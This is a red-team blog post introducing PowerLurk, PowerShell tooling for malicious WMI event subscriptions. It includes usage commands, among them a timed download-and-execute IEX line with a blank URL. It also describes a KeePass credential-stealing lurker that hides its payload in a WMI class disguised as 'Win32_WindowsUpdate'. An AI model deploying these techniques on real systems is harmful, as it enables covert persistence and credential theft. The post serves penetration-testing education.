Creeping on Users with WMI Events: Introducing PowerLurk

Introduction and Intent

Since watching FireEye FLARE’s ‘WhyMI So Sexy?‘ at Derbycon last September, I have wanted to better understand WMI Events and apply them to offensive security operations. I saw the potential, but my comprehension was lacking and a comprehensive offensive WMI toolset did not exist. I was recently taken to school on WMI Event Subscriptions by @mattifestation in a class he and @harmj0y taught called Advanced Powershell for Offensive Operations. I took what I learned there, gathered more information from resources below and started working on PowerLurk. PowerLurk is a group of PowerShell functions that expand upon current PowerShell WMI cmdlets and to simplify WMI event subscription. If you are interested in going beyond what is covered here, FLARE has an excellent white paper titled “Windows Management Instrumentation (WMI) Offense, Defense, and Forensics” that I used as a major reference. Other references used include @jaredcatkinson‘s Uproot project, @mattifestation‘s WMI Backdoor PoC , and MSDN.

Before diving into function explanations and usage examples, it’s important to understand what exactly is going on under the hood. Speaking from my own experience, WMI can be daunting to the uninitiated, but if you have an understanding of object-oriented programming (OOP) you will feel right at home. Like OOP, WMI centers around a hierarchical architecture of namespaces, each of which contains a number of WMI classes. The most prominent namespace, and the default with WMI/CIM PowerShell cmdlets, is root\cimv2. There are classes for seemingly every component of the Windows operating system. For example, running processes are represented as instances of the Win32_Process class (Figure 1). MSDN is one of the best ways to learn more about WMI classes, their purpose, properties, etc. A categorized list of WMI classes can be found here.Sidenote: There are many ways to interact with WMI. PowerShell seems to provide the most versatile and automated way to do so; however, I did use Wbemtest during testing. See FLARE’s white paper for more information on other methods.

Screen Shot 2016-07-13 at 7.42.45 AM
Figure 1: Running processes.

Screen Shot 2016-07-12 at 10.14.29 PM
Permanent WMI Event Subscriptions, the subtopic of WMI that PowerLurk is built upon, are composed of three interconnected elements: a trigger (
__EventFilter class), an action (__EventConsumer class), and an association element that binds a trigger and an action to each other (__FilterToConsumerBinding class). The trigger is monitors a given WMI event class using WMI Query Language (WQL), a very SQL-like query language, and will spring upon any instantiation of that class as long as it meets the requirements of the query. If pointed at the Win32_Process class, an event will be generated when a new instance of Win32_Process is created (i.e. a new process starts).

Figure 2: __EventFilter instance.

The action is defined separately and has a number of possibilities: an email can be sent, a command or series of commands can be run, custom Windows events can be logged, etc. The current state of PowerLurk focuses on either running commands or executing VBScript/JScript as the result of an WMI event. WMI uses association classes to represent what are essentially relationships between two separate, but related, classes. Continuing with the Win32_Process example, the Win32_SessionProcess associates running processes with logon sessions (Win32_LogonSession class). The __FilterToConsumerBinding is the association class that binds triggers (__EventFilter) to actions (__EventConsumer). Without an association, the trigger and action are basically inactive. You can begin to see how actions and triggers can be organized into modular PowerShell cmdlets.

Figure 3: CommandLineEventConsumer instance (derived from __EventConsumer).

PowerShell also provides you with the ability to set up events that are local to, and dependent on, the PowerShell process. Once you close the PowerShell process, the event is gone. This can be useful for developing, but also for using event functionality with a high integrity PowerShell Empire agent or Cobalt Strike Beacon. @bluscreenofjeff and I are going to be expanding and testing this functionality in the near future.


Now that you have an understanding of what is involved with creating WMI Events, let’s look at how you can query these WMI event-related classes using PowerShell. As an attacker, we are generally limited to PowerShell v2’s WMI cmdlets due to Windows 7 being the prevalent attack surface for the large majority of organization endpoints. Until Windows 7 hits end-of-life on January 14, 2020, this limitation will likely remain a hindrance to adoption of newer versions of PowerShell. CIM cmdlets, present with PowerShell v3+, improve on the WMI cmdlets and will provide better options and functionality overall. At a basic level, Get-WmiEvent abstracts the complexity presented when querying the elements that make up a WMI Event.

Get-WmiEvent by default will return all active WMI Events subscriptions. This includes the consumer (action), and filter (trigger) objects associated with the __FilterToConsumerBinding. There are also switches to query each element individually. With PowerShell v2, you can use Get-WmiObject to perform WMI queries and get all of the information you get from Get-WmiEvent, but it will take at least three separate, more complex, commands to derive the objects output by Get-WmiEvent. This simplifies development and cleanup. Cleanup is a matter of simply piping the objects to be removed into the built-in Remove-WmiObject cmdlet.

Get-WmiEvent also has a -Name argument that will filter returned objects by name using the contents of the __RELPATH property. This is something that is not natively done with Get-WmiObject.

Figure 4: Get-WmiEvent output


Register-MaliciousWmiEvent will be the core function of PowerLurk upon which more specialized cmdlets are built. My thought process with this function was to abstract away the complexity of constructing a permanent WMI event so that penetration testers and red teamers could deploy WMI events that cater to their needs quickly and easily.

In order to register an event, you must specify three things: an event name, a trigger, and an action. The FilterToConsumerBinding is handled within the function. Triggers are ‘pre-canned’ within the function, effectively reducing __EventFilter instantiation to a switch and argument. Figure 5 contains a list of the currently implemented triggers in Register-MaliciousWmiEvent.

Figure 5: List of Triggers and Actions.

Each trigger comes with its own set of required and/or optional arguments that allow for customization, if needed. I will cover each of these in more depth below. The WMI event action has been boiled down to running system commands, executing VBScript/JScript, or executing a PowerShell scriptblock in the case of a local (non-permanent) event. The action is selected by using one of the following mutually exclusive parameters.

-PermanentCommand “powershell.exe -NoP -C Write-Host ‘Test’”
-PermanentScript $Script -ScriptType VBScript
-LocalScriptBlock {Write-Host “Test”}

When using a permanent script it is easiest to assign the script code to a variable using a here-string ( and then providing that variable as the argument. You must also specify the type of script (VBScript or JScript) using the -ScriptType switch. The other actions do not have any special or additional requirements.

WMI Events come in two flavors, intrinsic and extrinsic. The major difference between these two types is that extrinsic will generate an event immediately. The intrinsic event used in Register-MaliciousWmiEvent (__InstanceCreationEvent, see Figure 7) polls a given class for new instances at a specified time interval, such as a new logon session creating a new instance Win32_LogonSession. When it polls and finds a new instance, an event is generated and the associated action is executed.

The reason for covering this is that each event type has slight differences in how event properties are accessed by the event consumer. Extrinsic events have properties related to their functionality. A good example is the  Win32_ProcessStartTrace extrinsic event class possess properties for process name and process ID. These properties are accessible within the command or script code by surrounding the property name with ‘%’.

Figure 6: Win32_ProcessStartTrace properties.

The intrinsic event used, contains a copy of the targeted WMI class within its ‘TargetInstance’ property. So rather than accessing the property with %PropName%, you must use %TargetInstance.PropName%.

Figure 7:
__InstanceCreationEvent properties.


This trigger is pretty cut and dry. It generates an event when a specified process starts. It uses the Win32_ProcessStartTrace extrinsic event. Figure 5 contains a list of properties. Usage:

Write the notepad.exe process ID to C:\temp\log.txt whenever notepad.exe starts

Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe


After some testing, I came to the conclusion that it was not worth using the Win32_LogonSession class to generate a logon event as I have seen in several examples. This is primarily due to the Win32_LogonSession generating 3 separate events for each logon. This means consumer logic will be run 3 times, which could be problematic. There are ways around this with the GROUP clause , but I decided to look elsewhere.

I switched to using the Win32_LoggedOnUser class. This class is the association class between Win32_LogonSession and Win32_Account. The result is a single event per logon that contains the username and domain of the user that logged in. For example:  SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA ‘Win32_LoggedOnUser’ AND TargetInstance.__RELPATH like `”%LabDomain%TestUser1%`” will generate a single event when the ‘LabDomain\TestUser1’ logs in to the local system.

The type of logon (interactive, network, etc.) can be checked within the action logic by querying the Win32_LogonSession class with the LogonID found within the event object. From the perspective of WMI, Interactive logons (LogonType 2) are what you see on endpoints (Windows 7 workstations) when a user logs in physically or over RDP, while network logons (LogonType 3) will be seen on a domain controller upon domain user logon. Username and domain options can be specified with the -UserName and -Domain switches. Usage:

Here-string containing VBScript assigned to PowerShell variable. Write process name and ID to C:\test\log.txt.

$script = @’
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "%TargetInstance.ProcessName% started at PID %TargetInstance.ProcessId%" & vbCrLf

Triggers above VBScript when the Administrator user logs in.

Register-MaliciousWmiEvent -EventName UserLogonEvent -PermanentScript $Script -Trigger UserLogon -UserName Administrator


This trigger will generate an event upon volume change, which occurs when inserting a USB storage device, using the Win32_VolumeChangeEvent extrinsic event. The DriveName property is the only useful property within the event object. Usage:

Write notification to file on network share when a new volume

Register-MaliciousWmiEvent -EventName NewVol -PermanentCommand “cmd.exe /c echo ‘New Volume’ >> \\\\notifications\\log.txt” -Trigger InsertUSB

Interval & Timed

These two triggers are a little bit different than the rest. They require you to first instantiate either an  __IntervalTimerInstruction or  __AbsoluteTimerInstruction object and then point the WMI event filter to it. A minor step, but an interesting one compared to how the others are used. The interval trigger will generate an event at the end of every specified interval period. This period must be defined with the -IntervalPeriod switch in seconds. Usage:

Print the currently logged on user to screen every hour

Register-MaliciousWmiEvent -EventName UserLog -LocalScriptBlock {Write-Host $((Get-WMIObject -class Win32_ComputerSystem).Username)} -Trigger Interval -IntervalPeriod 3600

The __AbsoluteTimerInstruction takes a specific time and date and then initiates an event on that time. The time must be specified with the -ExecutionTime switch in the following format: ‘MM/DD/YYYY HH:MM[am|pm|]. Usage:

Download and execute the remote PowerShell logic at the specified time.

Register-MaliciousWmiEvent -EventName RemoteIEX -PermanentCommand “powershell.exe -exec bypass -nop -c IEX (New-Object Net.WebClient).DownloadString('');" -Trigger Timed -ExecutionTime ‘07/07/2016 1:30pm’

WMI and Registry Storage

A good example of what future functionality will look like is Add-KeeThiefLurker. This function basically wraps @harmj0y and @tifkin_‘s KeeThief functionality with Register-MaliciousWmiEvent and adds WMI/Registry data storage. I will not go into KeeThief’s functionality here as @harmj0y goes into great detail in his two blog posts on the topic (Part 1 and Part 2 ).  

The WMI storage logic used creates a custom WMI namespace at root\Software, a non-existent WMI namespace. Figure 8 shows the list of valid Windows 10 WMI namespaces. Within the new namespace, a custom WMI class is created named Win32_WindowsUpdate. The values of properties added to Win32_WindowsUpdate are used to store logic to be executed and the output of that logic (Figures 9 and 11). This setup allows you to store entire PowerShell modules on a compromised system without directly touching the file system. PowerShell, WMI Events, and WMI storage combine well into a flexible post exploitation user detection system. Registry storage uses the same model, but with registry values.

Screen Shot 2016-07-13 at 3.20.00 PM
Figure 8: Valid WMI namespaces.

Use Case: Add-KeeThiefLurker

Add-KeeThiefLurker creates a permanent WMI Event that will trigger upon the keepass.exe process starting and utilizes either the registry or a custom WMI namespace and class to store the KeeThief PowerShell script and its resultant output. When the user on a compromised system opens KeePass, the WMI event will trigger, causing the event consumer to execute a series of PowerShell commands. The first will sleep execution for 4 minutes in order to allow the user time to log into their KeePass database(s).

Figure 9: Creating KeeThiefLurker with WMI storage and then querying the custom class and its Content property.

Figure 10: Starting KeePass and opening a database file.

After 4 minutes, the KeeThief logic will be retrieved and decoded from the ‘Content’ property of the custom WMI class and executed. The PowerShell output from KeeThief is captured, base64 encoded, and stored in the custom class’s ‘Output’ property, ready to be exfilled. The following command will retrieve and decode the ‘Output’ property:

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))

Figure 11: Retrieving and decoding KeeThief output.

The namespace, class, registry value names and registry path are all modifiable with their own parameters. What you see here are default values. See the Get-Help for specifics. Cleanup is down but running the exact same command with ‘Remove’ as the verb:

Screen Shot 2016-07-13 at 12.44.21 AM
Figure 12: Add-KeeThiefLurker cleanup.

Add-KeeThiefLurker is a good example of what can be built on top of Register-MaliciousWmiEvent. The registry and WMI storage that this cmdlet adds is easily adaptable. Swapping KeeThief logic out and changing the Register-MaliciousWmiEvent trigger is a breeze and lends well to a template, which is what you will find with Add-TemplateLurker and Remove-TemplateLurker.


The extensibility offered with PowerLurk is something I plan to expand upon in the future as we run into new situations where WMI events are able aid in our penetration testing and red team success. Functionality that provides basic red team IDS capability using covert communication channels and interoperability with Cobalt Strike Beacon and PowerShell Empire currently on top of my list. Check back for future posts on these topics as I round them out and drop any feedback you have on Twitter at @Sw4mp_f0x.

4 thoughts on “Creeping on Users with WMI Events: Introducing PowerLurk

  1. This is slick but honestly I feel like a luddite. How do you use this during a pentest? I see examples for USB detection and etc but what a real world ways you could or would utilize it?


  2. I had fashioned to leave a comment, man do I have a hard
    time writing
    a blog. Im trying to kick start one on my website and I must say
    its challenging at all. I really do admire people like yourself who
    able to reveal anything easily. Keep up the good work!


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s